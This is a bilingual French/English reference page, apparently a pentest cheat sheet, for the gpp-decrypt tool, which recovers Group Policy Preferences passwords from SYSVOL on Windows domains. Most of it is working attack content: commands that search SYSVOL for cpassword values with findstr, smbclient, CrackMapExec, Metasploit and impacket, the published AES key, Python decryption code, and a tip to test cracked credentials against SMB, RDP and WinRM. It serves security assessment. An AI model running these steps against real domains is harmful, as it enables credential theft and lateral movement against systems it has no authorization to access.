gpp-decrypt

Déchiffre les mots de passe Group Policy Preferences (GPP) stockés dans SYSVOL. Microsoft a publié la clé AES, rendant tous les mots de passe GPP trivialement récupérables. Decrypts Group Policy Preferences (GPP) passwords stored in SYSVOL. Microsoft published the AES key, making all GPP passwords trivially recoverable.

↗ https://github.com/t0thkr1s/gpp-decrypt

Overview

Group Policy Preferences (GPP) allowed administrators to set passwords via Group Policy — credentials were stored AES-encrypted in SYSVOL XML files. Microsoft published the encryption key in 2012, making any GPP password recoverable by anyone with read access to SYSVOL (default: all domain users). gpp-decrypt automates the decryption.

Basic Usage

Decrypt a GPP cpassword hash

gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE="

Or use the Python version

python3 gpp-decrypt.py "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE="

Finding GPP Passwords

From a domain-joined Windows box: search SYSVOL

findstr /S /I cpassword \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\*.xml

From Linux: mount SYSVOL share and search

smbclient //DC01/SYSVOL -U "user%password" -c "recurse;ls"

With CrackMapExec (automated)

crackmapexec smb DC01 -u user -p password -M gpp_password

With Metasploit

use post/multi/recon/find_gpp_passwords

With impacket (remote)

Get-GPPPassword.py DOMAIN/user:password@DC01

Common GPP Files Containing Passwords

Groups.xml         — local admin accounts
Services.xml       — service account credentials
Scheduledtasks.xml — scheduled task run-as credentials
DataSources.xml    — database connection credentials
Drives.xml         — mapped drive credentials
Printers.xml       — printer credentials

Manual Decryption (Python)

from Crypto.Cipher import AES
import base64
import hashlib

# The published Microsoft AES key
key = hashlib.sha256(
    b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8"
    b"\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
).digest()

cpassword = "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE="
padded = cpassword + "=" * (-len(cpassword) % 4)
decoded = base64.b64decode(padded)
cipher = AES.new(key, AES.MODE_CBC, decoded[:16])
print(cipher.decrypt(decoded[16:]).decode('utf-16-le').rstrip('\x00'))

Tips

  • GPP passwords are a classic AD misconfiguration — always check SYSVOL during internal assessments
  • MS14-025 patched the ability to set GPP passwords but existing ones in SYSVOL remain readable
  • Even read-only domain users can access SYSVOL — no special privileges needed
  • After cracking, test credentials against all services (SMB, RDP, WinRM, etc.)
Automated Search with CrackMapExec

Auto-search and decrypt GPP passwords via CME module

crackmapexec smb DC01 -u domain_user -p 'P@ssw0rd' -M gpp_password

Or search manually

crackmapexec smb DC01 -u domain_user -p 'P@ssw0rd' -M gpp_autologin

Vue d’ensemble

Group Policy Preferences (GPP) permettait aux administrateurs de définir des mots de passe via la Group Policy : les identifiants étaient stockés chiffrés en AES dans des fichiers XML sur SYSVOL. Microsoft a publié la clé de chiffrement en 2012, rendant tout mot de passe GPP récupérable par quiconque a un accès en lecture à SYSVOL (par défaut : tous les utilisateurs du domaine). gpp-decrypt automatise le déchiffrement.

Utilisation de base

# Déchiffrer un hash cpassword GPP
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE="

# Ou utiliser la version Python
python3 gpp-decrypt.py "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE="

Trouver les mots de passe GPP

# Depuis une machine Windows jointe au domaine : chercher dans SYSVOL
findstr /S /I cpassword \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\*.xml

# Depuis Linux : monter le partage SYSVOL et chercher
smbclient //DC01/SYSVOL -U "user%password" -c "recurse;ls"

# Avec CrackMapExec (automatisé)
crackmapexec smb DC01 -u user -p password -M gpp_password

# Avec Metasploit
use post/multi/recon/find_gpp_passwords

# Avec impacket (distant)
Get-GPPPassword.py DOMAIN/user:password@DC01

Fichiers GPP courants contenant des mots de passe

Groups.xml         : comptes administrateur local
Services.xml       : identifiants de compte de service
Scheduledtasks.xml : identifiants run-as des tâches planifiées
DataSources.xml    : identifiants de connexion à des bases de données
Drives.xml         : identifiants de lecteurs mappés
Printers.xml       : identifiants d'imprimantes

Déchiffrement manuel (Python)

from Crypto.Cipher import AES
import base64
import hashlib

# La clé AES publiée par Microsoft
key = hashlib.sha256(
    b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8"
    b"\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
).digest()

cpassword = "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE="
padded = cpassword + "=" * (-len(cpassword) % 4)
decoded = base64.b64decode(padded)
cipher = AES.new(key, AES.MODE_CBC, decoded[:16])
print(cipher.decrypt(decoded[16:]).decode('utf-16-le').rstrip('\x00'))

Conseils

  • Les mots de passe GPP sont une erreur de configuration AD classique : toujours vérifier SYSVOL lors des évaluations internes
  • MS14-025 a corrigé la possibilité de définir des mots de passe GPP mais ceux déjà présents dans SYSVOL restent lisibles
  • Même les utilisateurs du domaine en lecture seule peuvent accéder à SYSVOL : aucun privilège spécial n’est nécessaire
  • Après cassage, testez les identifiants contre tous les services (SMB, RDP, WinRM, etc.)
Recherche automatisée avec CrackMapExec

Recherche et déchiffrement automatiques des mots de passe GPP via le module CME

crackmapexec smb DC01 -u domain_user -p 'P@ssw0rd' -M gpp_password

Ou recherche manuelle

crackmapexec smb DC01 -u domain_user -p 'P@ssw0rd' -M gpp_autologin